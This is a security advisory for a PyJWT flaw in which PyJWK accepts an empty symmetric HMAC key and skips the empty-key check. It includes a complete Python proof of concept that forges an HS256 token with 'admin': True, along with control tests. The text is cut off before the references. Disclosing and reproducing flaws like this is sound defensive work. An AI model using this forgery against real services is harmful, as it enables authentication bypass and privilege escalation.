← All vulnerabilities

CVE-2026-102266

PyPI · PyJWT

Summary

PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

Advisory details

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

{"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

{
    "kty": "oct",
    "k": ""
}

the empty Base64URL value is decoded to:

b""

and returned without an emptiness check.

[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

prepared_key = key.key

The value is not passed through:

alg_obj.prepare_key(key.key)

so the empty-key check in HMACAlgorithm.prepare_key is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

raw b""
    -> HMACAlgorithm.prepare_key
    -> InvalidKeyError

{"kty":"oct","k":""}
    -> HMACAlgorithm.from_jwk
    -> b""
    -> PyJWK.key
    -> PyJWS._verify_signature
    -> HMAC verification with b""
    -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"

Save the following as poc.py:

import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError


def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")


now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

python poc.py

Observed output:

VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.

Th

References